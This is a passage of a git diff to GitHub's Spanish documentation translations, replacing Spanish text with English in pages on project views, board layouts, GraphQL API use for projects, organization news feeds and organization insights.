a field to track priority -Ahora, crea un campo personalizado que se llame `Priority` para que contenga los valores: `High`, `Medium`, o `Low`. +Now, create a custom field called `Priority` to contain the values: `High`, `Medium`, or `Low`. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear cualqueir parte de "Crear campo nuevo". -3. Selecciona **Crear campo nuevo**. -4. En la ventana emergente resultante, ingresa `Priority` en la caja de texto. -5. En el menú desplegable, selecciona **Selección simple**. -6. Agrega opciones para `High`, `Medium`, y `Low`. También puedes incluir emojis en tus opciones. ![Ejemplo de campo de seleccións sencilla nueva](/assets/images/help/projects/new-single-select-field.png) -7. Haz clic en **Save ** (guardar). +2. Start typing any part of "Create new field". +3. Select **Create new field**. +4. In the resulting pop-up, enter `Priority` in the text box. +5. In the drop-down, select **Single select**. +6. Add options for `High`, `Medium`, and `Low`. You can also include emojis in your options. + ![New single select field example](/assets/images/help/projects/new-single-select-field.png) +7. Click **Save**. -Especificar una prioridad para todas las propuestas de tu proyecto. +Specify a priority for all issues in your project. -![Prioridades de ejemplo](/assets/images/help/projects/priority_example.png) +![Example priorities](/assets/images/help/projects/priority_example.png) -## Agrupar propuestas por rioridad +## Grouping issues by priority -A continuación, agrupa todos los elementos en tu proyecto por prioridad para hacer más fácil el poder enfocarse en los elementos de prioridad alta. +Next, group all of the items in your project by priority to make it easier to focus on the high priority items. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclar cualquier parte de "Group by". -3. Selecciona **Group by: Priority**. +2. Start typing any part of "Group by". +3. Select **Group by: Priority**. -Ahora, mueve las propuestas entre los grupos para cambiar su prioridad. +Now, move issues between groups to change their priority. -1. Elige una propuesta. -2. Arrástrala y suéltala en un grupo de prioridad diferente. Cuando lo haces, la prioridad de esta propuesta cambiará para ser la prioridad de este grupo nuevo. +1. Choose an issue. +2. Drag and drop the issue into a different priority group. When you do this, the priority of the issue will change to be the priority of its new group. -![Mover la propuesta entre grupos](/assets/images/help/projects/move_between_group.gif) +![Move issue between groups](/assets/images/help/projects/move_between_group.gif) -## Guardar la vista de prioridades +## Saving the priority view -Cuando agrupas tus propuestas por prioridad en el paso anterior, tu proyecto mostró un indicador para mostrar que la vista se modificó. Guarda estos cambios para que tus colaboradores también vean las tareas agrupadas por prioridad. +When you grouped your issues by priority in the previous step, your project displayed an indicator to show that the view was modified. Save these changes so that your collaborators will also see the tasks grouped by priority. -1. Selecciona el menú desplegable junto al nombre de l vista. -2. Haz clic en **Guardar cambios**. +1. Select the drop-down menu next to the view name. +2. Click **Save changes**. -Para indicar la propuesta de la vista, dale un nombre descriptivo. +To indicate the purpose of the view, give it a descriptive name. -1. Coloca tu cursor en el nombre de la vista actual, **Vista 1**. -2. Reemplaza el texto existente con el nombre nuevo, `Priorities`. +1. Place your cursor in the current view name, **View 1**. +2. Replace the existing text with the new name, `Priorities`. -Pudes compartir la URL con tu equipo para mantener a todos alineados con las prioridades del proyecto. +You can share the URL with your team to keep everyone aligned on the project priorities. -Cuando guardas una vista, cualquiera que abra el proyecto verá la vista guardada. Aquí, agrupaste por prioridad, pero también puedes agregar otros modificadores, tales como clasificar, filtrar o diseño. Luego, crearás una vista nueva con el diseño modificado. +When a view is saved, anyone who opens the project will see the saved view. Here, you grouped by priority, but you can also add other modifiers such as sort, filter, or layout. Next, you will create a new view with the layout modified. ## Adding a board layout -Para ver el progreso de las propuestas de tu proyecto, puedes cambiar al diseño de tablero. +To view the progress of your project's issues, you can switch to board layout. The board layout is based on the status field, so specify a status for each issue in your project. -![Estado de ejemplo](/assets/images/help/projects/status_example.png) +![Example status](/assets/images/help/projects/status_example.png) -Posteriormente, crea una vista nueva. +Then, create a new view. -1. Haz clic en {% octicon "plus" aria-label="the plus icon" %} **Vista nueva** junto a la vista que hasta el extremo derecho. +1. Click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view. -Ahora, cambia al diseño de tablero. +Next, switch to board layout. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear cualquier parte de "Switch layout: Board". -3. Selecciona **Switch layout: Board**. ![Prioridades de ejemplo](/assets/images/help/projects/example_board.png) +2. Start typing any part of "Switch layout: Board". +3. Select **Switch layout: Board**. + ![Example priorities](/assets/images/help/projects/example_board.png) -Cuando cambiaste el diseño, tu proyecto mostró un indicador para mostrar que la vista se modificó. Guarda esta vista para que tanto tus colaboradores como tú puedan acceder fácilmente a ella en el futuro. +When you changed the layout, your project displayed an indicator to show that the view was modified. Save this view so that you and your collaborators can easily access it in the future. -1. Selecciona el menú desplegable junto al nombre de l vista. -2. Haz clic en **Guardar cambios**. +1. Select the drop-down menu next to the view name. +2. Click **Save changes**. -Para indicar la propuesta de la vista, dale un nombre descriptivo. +To indicate the purpose of the view, give it a descriptive name. -1. Coloca tu cursor en el nombre de la vista acuta, **Vista 2**. -2. Reemplaza el texto existente con el nombre nuevo, `Progress`. +1. Place your cursor in the current view name, **View 2**. +2. Replace the existing text with the new name, `Progress`. -![Prioridades de ejemplo](/assets/images/help/projects/project-view-switch.gif) +![Example priorities](/assets/images/help/projects/project-view-switch.gif) ## Configure built-in automation @@ -136,17 +138,17 @@ Finally, add a built in workflow to set the status to **Todo** when an item is a 4. Next to **Set**, select **Status:Todo**. 5. Click the **Disabled** toggle to enable the workflow. -## Pasos siguientes +## Next steps -Puedes utilizar los proyectos para una gama extensa de propósitos. Por ejemplo: +You can use projects for a wide range of purposes. For example: -- Rastrear el trabajo para un lanzamiento -- Planear una racha rápida -- Priorizar algo pendiente +- Track work for a release +- Plan a sprint +- Prioritize a backlog -Aquí tienes algunos recursos útiles para que tomes tus siguientes pasos con {% data variables.product.prodname_github_issues %}: +Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_issues %}: -- Para proporcionar retroalimentación acerca de la experiencia (beta) en los proyectos, dirígete al [Repositorio de retroalimentación de GitHub](https://github.com/github/feedback/discussions/categories/issues-feedback). -- Para aprender más sobre los proyectos que te pueden ayudar con el rastreo y la planeación, consulta la sección "[Acerca de los proyectos](/issues/trying-out-the-new-projects-experience/about-projects)". -- Para aprender más sobre los cambios y elementos que puedes agregar a tu proyecto, consulta la sección "[Crear un proyecto](/issues/trying-out-the-new-projects-experience/creating-a-project)". -- Para aprender sobre más formas en las que se puede mostrar la información que necesitas, consulta la sección "[Personalizar tus vistas de proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)". +- To provide feedback about the projects (beta) experience, go to the [GitHub feedback repository](https://github.com/github/feedback/discussions/categories/issues-feedback). +- To learn more about how projects can help you with planning and tracking, see "[About projects](/issues/trying-out-the-new-projects-experience/about-projects)." +- To learn more about the fields and items you can add to your project, see "[Creating a project](/issues/trying-out-the-new-projects-experience/creating-a-project)." +- To learn about more ways to display the information you need, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)." diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md index decca58205..07843a55d9 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md @@ -1,6 +1,6 @@ --- -title: Utilizar la API para administrar proyectos (beta) -intro: Puedes utilizar la API de GraphQL para encontrar información acerca de los proyectos y para actualizarlos. +title: Using the API to manage projects (beta) +intro: You can use the GraphQL API to find information about projects and to update projects. versions: fpt: '*' ghec: '*' @@ -11,17 +11,17 @@ topics: - Projects --- -El artículo muestra cómo utilizar la API de GraphQL para administrar un proyecto. For more information about how to use the API in a {% data variables.product.prodname_actions %} workflow, see "[Automating projects (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)." For a full list of the available data types, see "[Reference](/graphql/reference)." +This article demonstrates how to use the GraphQL API to manage a project. For more information about how to use the API in a {% data variables.product.prodname_actions %} workflow, see "[Automating projects (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)." For a full list of the available data types, see "[Reference](/graphql/reference)." {% data reusables.projects.projects-beta %} -## Autenticación +## Authentication {% include tool-switcher %} {% curl %} -En el resto de los ejemplos de cURL, reemplaza a `TOKEN` con un token que tenga el alcance `read:org` (para las consultas) o `write:org` (para las consultas y mutaciones). The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)." +In all of the following cURL examples, replace `TOKEN` with a token that has the `read:org` scope (for queries) or `write:org` scope (for queries and mutations). The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)." {% endcurl %} @@ -29,15 +29,15 @@ En el resto de los ejemplos de cURL, reemplaza a `TOKEN` con un token que tenga {% data reusables.cli.cli-learn-more %} -Before running {% data variables.product.prodname_cli %} commands, you must authenticate by running `gh auth login --scopes "write:org"`. If you only need to read, but not edit, projects, you can omit the `--scopes` argument. Para obtener más información sobre la autenticación por la línea de comandos, consulta la sección "[gh auth login](https://cli.github.com/manual/gh_auth_login)". +Before running {% data variables.product.prodname_cli %} commands, you must authenticate by running `gh auth login --scopes "write:org"`. If you only need to read, but not edit, projects, you can omit the `--scopes` argument. For more information on command line authentication, see "[gh auth login](https://cli.github.com/manual/gh_auth_login)." {% endcli %} {% cli %} -## Utilizar variables +## Using variables -Puedes utilizar variables para simplificar tus scripts en todos los ejemplos siguientes. Utiliza `-F` para pasar una variable que sea un número, un booleano o nula. Utiliza `-f` para otras variables. Por ejemplo, +In all of the following examples, you can use variables to simplify your scripts. Use `-F` to pass a variable that is a number, Boolean, or null. Use `-f` for other variables. For example, ```shell my_org="octo-org" @@ -52,19 +52,19 @@ gh api graphql -f query=' }' -f organization=$my_org -F number=$my_num ``` -Para obtener más información, consulta la sección "[Formatear llamados con GraphQL]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#working-with-variables)". +For more information, see "[Forming calls with GraphQL]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#working-with-variables)." {% endcli %} -## Encontrar información sobre los proyectos +## Finding information about projects -Utiliza consultas para obtener datos sobre los proyectos. Paraobtener más información, consulta la sección "[Acerca de las consultas]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)". +Use queries to get data about projects. For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)." ### Finding the node ID of an organization project -Para actualizar tu proyecto a través de la API, necesitarás conocer la ID de nodo del proyecto. +To update your project through the API, you will need to know the node ID of the project. -You can find the node ID of an organization project if you know the organization name and project number. Reemplaza `ORGANIZATION` con el nombre de tu organización. Por ejemplo, `octo-org`. Replace `NUMBER` with the project number. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto. +You can find the node ID of an organization project if you know the organization name and project number. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `NUMBER` with the project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. {% include tool-switcher %} @@ -90,7 +90,7 @@ gh api graphql -f query=' ``` {% endcli %} -También puedes encontrar la ID de nodo de todos los proyectos en tu organización. El siguiente ejemplo devolverá la ID de nodo y el título de los primeros 20 proyectos en una organización. Reemplaza `ORGANIZATION` con el nombre de tu organización. Por ejemplo, `octo-org`. +You can also find the node ID of all projects in your organization. The following example will return the node ID and title of the first 20 projects in an organization. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. {% include tool-switcher %} @@ -121,9 +121,9 @@ gh api graphql -f query=' ### Finding the node ID of a user project -Para actualizar tu proyecto a través de la API, necesitarás conocer la ID de nodo del proyecto. +To update your project through the API, you will need to know the node ID of the project. -You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. Por ejemplo, `octocat`. Reemplaza `NUMBER` con tu número de proyecto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección `https://github.com/users/octocat/projects/5` tiene "5" como número de proyecto. +You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. For example, `octocat`. Replace `NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/users/octocat/projects/5` has a project number of 5. {% include tool-switcher %} @@ -149,7 +149,7 @@ gh api graphql -f query=' ``` {% endcli %} -You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. Por ejemplo, `octocat`. +You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. For example, `octocat`. {% include tool-switcher %} @@ -178,11 +178,11 @@ gh api graphql -f query=' ``` {% endcli %} -### Encontrar la ID de nodo de un campo +### Finding the node ID of a field -Para actualizar el valor de un campo, necesitarás conocer la ID de nodo del mismo. Additionally, you will need to know the ID of the options for single select fields and the ID of the iterations for iteration fields. +To update the value of a field, you will need to know the node ID of the field. Additionally, you will need to know the ID of the options for single select fields and the ID of the iterations for iteration fields. -El siguiente ejemplo devolverá la ID, nombre y configuración de los primeros 20 campos de un proyecto. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. +The following example will return the ID, name, and settings for the first 20 fields in a project. Replace `PROJECT_ID` with the node ID of your project. {% include tool-switcher %} @@ -214,7 +214,7 @@ gh api graphql -f query=' ``` {% endcli %} -La respuesta se verá de forma similar al siguiente ejemplo: +The response will look similar to the following example: ```json { @@ -249,13 +249,13 @@ La respuesta se verá de forma similar al siguiente ejemplo: } ``` -Cada campo tiene una ID. Additionally, single select fields and iteration fields have a `settings` value. In the single select settings, you can find the ID of each option for the single select. In the iteration settings, you can find the duration of the iteration, the start day of the iteration (from 1 for Monday to 7 for Sunday), the list of incomplete iterations, and the list of completed iterations. For each iteration in the lists of iterations, you can find the ID, title, duration, and start date of the iteration. +Each field has an ID. Additionally, single select fields and iteration fields have a `settings` value. In the single select settings, you can find the ID of each option for the single select. In the iteration settings, you can find the duration of the iteration, the start day of the iteration (from 1 for Monday to 7 for Sunday), the list of incomplete iterations, and the list of completed iterations. For each iteration in the lists of iterations, you can find the ID, title, duration, and start date of the iteration. -### Encontrar información sobre los elementos en un proyecto +### Finding information about items in a project -Puedes consultar mediante la API para encontrar información sobre los elementos de tu proyecto. +You can query the API to find information about items in your project. -El siguiente ejemplo devolverá el título y la ID de los primeros 20 elementos en un proyecto. Para cada elemento, también devolverá el valor y nombre de los primeros 8 campos en el proyecto. Si el elemento es una propuesta o solicitud de cambios, este devolverá al inicio de sesión de los primeros 10 asignados. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. +The following example will return the title and ID for the first 20 items in a project. For each item, it will also return the value and name for the first 8 fields in the project. If the item is an issue or pull request, it will return the login of the first 10 assignees. Replace `PROJECT_ID` with the node ID of your project. {% include tool-switcher %} @@ -310,7 +310,7 @@ gh api graphql -f query=' ``` {% endcli %} -Un proyecto podría contener elementos que los usuarios no tengan permiso para ver. En este caso, la respuesta incluirá el elemento redactado. +A project may contain items that a user does not have permission to view. In this case, the response will include redacted item. ```shell { @@ -321,19 +321,19 @@ Un proyecto podría contener elementos que los usuarios no tengan permiso para v } ``` -## Actualizar los proyectos +## Updating projects -Utiliza las mutaciones para actualizar los proyectos. For more information, see "[About mutations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)." +Use mutations to update projects. For more information, see "[About mutations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)." {% note %} -**Nota:** No puedes agregar y actualizar un elemento en el mismo llamado. Debes utilizar `addProjectNextItem` para agregar el elemento y luego `updateProjectNextItemField` para actualizarlo. +**Note:** You cannot add and update an item in the same call. You must use `addProjectNextItem` to add the item and then use `updateProjectNextItemField` to update the item. {% endnote %} -### Agregar un elemento a un proyecto +### Adding an item to a project -El siguiente ejemplo agregará una propuesta o solicitud de cambios a tu proyecto. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. Reemplaza a `CONTENT_ID` con la ID de nodo de la propuesta o solicitud de cambios que quieras agregar. +The following example will add an issue or pull request to your project. Replace `PROJECT_ID` with the node ID of your project. Replace `CONTENT_ID` with the node ID of the issue or pull request that you want to add. {% include tool-switcher %} @@ -359,7 +359,7 @@ gh api graphql -f query=' ``` {% endcli %} -La respuesta contendrá la ID de nodo del elemento recién creado. +The response will contain the node ID of the newly created item. ```json { @@ -373,11 +373,11 @@ La respuesta contendrá la ID de nodo del elemento recién creado. } ``` -Si intentas agregar un elemento que ya existe, se devolverá la ID de este. +If you try add an item that already exists, the existing item ID is returned instead. ### Updating a custom text, number, or date field -The following example will update the value of a date field for an item. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. Reemplaza a `ITEM_ID` con la ID de nodo del elemento que quieras actualizar. Reemplaza a `FIELD_ID` con la ID del campo que quieras actualizar. +The following example will update the value of a date field for an item. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to update. Replace `FIELD_ID` with the ID of the field that you want to update. {% include tool-switcher %} @@ -412,7 +412,7 @@ gh api graphql -f query=' {% note %} -**Nota:** No puedes utilizar `updateProjectNextItemField` para cambiar `Assignees`, `Labels`, `Milestone`, o `Repository` ya que estos campos son propiedades de las solicitudes de cambio y propuestas y no de los elementos del proyecto. Instead, you must use the [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest), or [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue) mutations. +**Note:** You cannot use `updateProjectNextItemField` to change `Assignees`, `Labels`, `Milestone`, or `Repository` because these fields are properties of pull requests and issues, not of project items. Instead, you must use the [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest), or [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue) mutations. {% endnote %} @@ -420,8 +420,8 @@ gh api graphql -f query=' The following example will update the value of a single select field for an item. -- `PROJECT_ID` - Reemplázalo con la ID de nodo de tu proyecto. -- `ITEM_ID` - Reemplázalo con la ID de nodo del elemento que quieras actualizar. +- `PROJECT_ID` - Replace this with the node ID of your project. +- `ITEM_ID` - Replace this with the node ID of the item you want to update. - `FIELD_ID` - Replace this with the ID of the single select field that you want to update. - `OPTION_ID` - Replace this with the ID of the desired single select option. @@ -460,8 +460,8 @@ gh api graphql -f query=' The following example will update the value of an iteration field for an item. -- `PROJECT_ID` - Reemplázalo con la ID de nodo de tu proyecto. -- `ITEM_ID` - Reemplázalo con la ID de nodo del elemento que quieras actualizar. +- `PROJECT_ID` - Replace this with the node ID of your project. +- `ITEM_ID` - Replace this with the node ID of the item you want to update. - `FIELD_ID` - Replace this with the ID of the iteration field that you want to update. - `ITERATION_ID` - Replace this with the ID of the desired iteration. This can be either an active iteration (from the `iterations` array) or a completed iteration (from the `completed_iterations` array). @@ -496,9 +496,9 @@ gh api graphql -f query=' ``` {% endcli %} -### Borrar un elemento de un proyecto +### Deleting an item from a project -El siguiente ejemplo borrará un elemento de un proyecto. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. Reemplaza `ITEM_ID` con la ID de nodo del elemento que quieras borrar. +The following example will delete an item from a project. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to delete. {% include tool-switcher %} diff --git a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md index 6c5c38f841..e6ffdbf9b4 100644 --- a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md +++ b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md @@ -1,6 +1,6 @@ --- -title: Acerca de las noticias de tu organización -intro: Puedes usar las noticias de tu organización para mantenerte al corriente de las actividades recientes en los repositorios que posee esa organización. +title: About your organization’s news feed +intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization. redirect_from: - /articles/news-feed/ - /articles/about-your-organization-s-news-feed @@ -14,15 +14,17 @@ versions: topics: - Organizations - Teams -shortTitle: Fuente de noticias de la organización +shortTitle: Organization news feed --- -Las noticias de una organización muestran las actividades de otras personas en los repositorios que posee esa organización. Puedes usar las noticias de tu organización para ver cuando alguien abre, cierra o fusiona una propuesta o solicitud de extracción, crea o elimina una rama, crea una etiqueta o un lanzamiento, comenta en una propuesta, una solicitud de extracción o una confirmación de cambios o sube confirmaciones nuevas a {% data variables.product.product_name %}. +An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}. -## Acceder a las noticias de tu organización +## Accessing your organization's news feed 1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. -2. Abre tu {% data reusables.user_settings.personal_dashboard %}. -3. Haz clic en el cambiador de contexto de la cuenta en la esquina superior izquierda de la página. ![Botón cambiador de contexto en Enterprise](/assets/images/help/organizations/account_context_switcher.png) -4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %} ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %} -![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %} +2. Open your {% data reusables.user_settings.personal_dashboard %}. +3. Click the account context switcher in the upper-left corner of the page. + ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png) +4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %} + ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %} + ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %} diff --git a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md index 2640bd1eee..5e868d4583 100644 --- a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md +++ b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Ver información de tu organización -intro: 'La información de tu organización brinda datos acerca de la actividad, las contribuciones y las dependencias de tu organización.' +title: Viewing insights for your organization +intro: 'Organization insights provide data about your organization''s activity, contributions, and dependencies.' product: '{% data reusables.gated-features.org-insights %}' redirect_from: - /articles/viewing-insights-for-your-organization @@ -11,49 +11,57 @@ versions: topics: - Organizations - Teams -shortTitle: Ver las perspectivas de la organización +shortTitle: View organization insights --- -Todos los miembros de una organización pueden ver información de la organización. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +All members of an organization can view organization insights. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." -Puedes utilizar la información sobre la actividad de la organización para ayudarte a comprender mejor cómo los miembros de tu organización están utilizando {% data variables.product.product_name %} para colaborar y trabajar con el código. La información sobre las dependencias puede ayudarte a rastrear, informar y actuar en relación al uso del código abierto de tu organización. +You can use organization activity insights to help you better understand how members of your organization are using {% data variables.product.product_name %} to collaborate and work on code. Dependency insights can help you track, report, and act on your organization's open source usage. -## Ver la información de la actividad de la organización +## Viewing organization activity insights {% note %} -**Nota:**las perspectivas de actividad en las organizaciones se encuentran actualmente en un beta público y están sujetos a cambio. +**Note:** Organization activity insights are currently in public beta and subject to change. {% endnote %} -Con la información sobre la actividad de la organización puedes ver semanal, mensual y anualmente las visualizaciones de datos de toda tu organización o de repositorios específicos, incluida la actividad de las propuestas y las solicitudes de extracción, los principales lenguajes utilizados e información acumulada sobre dónde los miembros de tu organización pasan su tiempo. +With organization activity insights you can view weekly, monthly, and yearly data visualizations of your entire organization or specific repositories, including issue and pull request activity, top languages used, and cumulative information about where your organization members spend their time. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} -3. Dentro del nombre de tu organización, haz clic en {% octicon "graph" aria-label="The bar graph icon" %} **Insights (Información)**. ![Haz clic en la pestaña de información de la organización](/assets/images/help/organizations/org-nav-insights-tab.png) -4. Como alternativa, en el ángulo superior derecho de la página, elige ver los datos del/de la último/a **semana**, **mes** o **año**. ![Elige un período de tiempo para ver la información de la organización](/assets/images/help/organizations/org-insights-time-period.png) -5. Alternativamente, en el ángulo superior derecho de la página, elige ver hasta tres repositorios y haz clic en **Apply (Aplicar)**. ![Elige repositorios para ver la información de la organización](/assets/images/help/organizations/org-insights-repos.png) +3. Under your organization name, click {% octicon "graph" aria-label="The bar graph icon" %} **Insights**. + ![Click the organization insights tab](/assets/images/help/organizations/org-nav-insights-tab.png) +4. Optionally, in the upper-right corner of the page, choose to view data for the last **1 week**, **1 month**, or **1 year**. + ![Choose time period to view org insights](/assets/images/help/organizations/org-insights-time-period.png) +5. Optionally, in the upper-right corner of the page, choose to view data for up to three repositories and click **Apply**. + ![Choose repositories to view org insights](/assets/images/help/organizations/org-insights-repos.png) -## Ver la información de las dependencias de la organización +## Viewing organization dependency insights {% note %} -**Notea:** Por favor, asegúrate de que hayas habilitado la [Gráfica de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph). +**Note:** Please make sure you have enabled the [Dependency Graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph). {% endnote %} -Con la información sobre las dependencias puedes ver vulnerabilidades, licencias y otra información importante de los proyectos de código abierto de los que depende tu organización. +With dependency insights you can view vulnerabilities, licenses, and other important information for the open source projects your organization depends on. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} -3. Dentro del nombre de tu organización, haz clic en {% octicon "graph" aria-label="The bar graph icon" %} **Insights (Información)**. ![Pestaña de información en la barra de navegación principal de la organización](/assets/images/help/organizations/org-nav-insights-tab.png) -4. Para ver las dependencias de esta organización, haz clic en **Dependencies (Dependencias)**. ![Pestaña de dependencias debajo de la barra de navegación principal de la organización](/assets/images/help/organizations/org-insights-dependencies-tab.png) -5. Para ver la información de las dependencias de todas tus organizaciones {% data variables.product.prodname_ghe_cloud %}, haz clic en **My organizations (Mis organizaciones)**. ![Botón Mi organización dentro de la pestaña de dependencias](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png) -6. Puedes hacer clic en los resultados de los gráficos **Open security advisories** (Avisos de seguridad abiertos) y **Licenses** (Licencias) para filtrar por estado de vulnerabilidad, por licencia o por una combinación de ambos. ![Gráficas de "las vulnerabilidades de mis organizaciones" y de licencias](/assets/images/help/organizations/org-insights-dependencies-graphs.png) -7. Puedes hacer clic en {% octicon "package" aria-label="The package icon" %} **dependents (dependientes)** al lado de cada vulnerabilidad para ver qué dependiente en tu organización está usando cada biblioteca. ![Dependientes vulnerables de mis organizaciones](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png) +3. Under your organization name, click {% octicon "graph" aria-label="The bar graph icon" %} **Insights**. + ![Insights tab in the main organization navigation bar](/assets/images/help/organizations/org-nav-insights-tab.png) +4. To view dependencies for this organization, click **Dependencies**. + ![Dependencies tab under the main organization navigation bar](/assets/images/help/organizations/org-insights-dependencies-tab.png) +5. To view dependency insights for all your {% data variables.product.prodname_ghe_cloud %} organizations, click **My organizations**. + ![My organizations button under dependencies tab](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png) +6. You can click the results in the **Open security advisories** and **Licenses** graphs to filter by a vulnerability status, a license, or a combination of the two. + ![My organizations vulnerabilities and licenses graphs](/assets/images/help/organizations/org-insights-dependencies-graphs.png) +7. You can click on {% 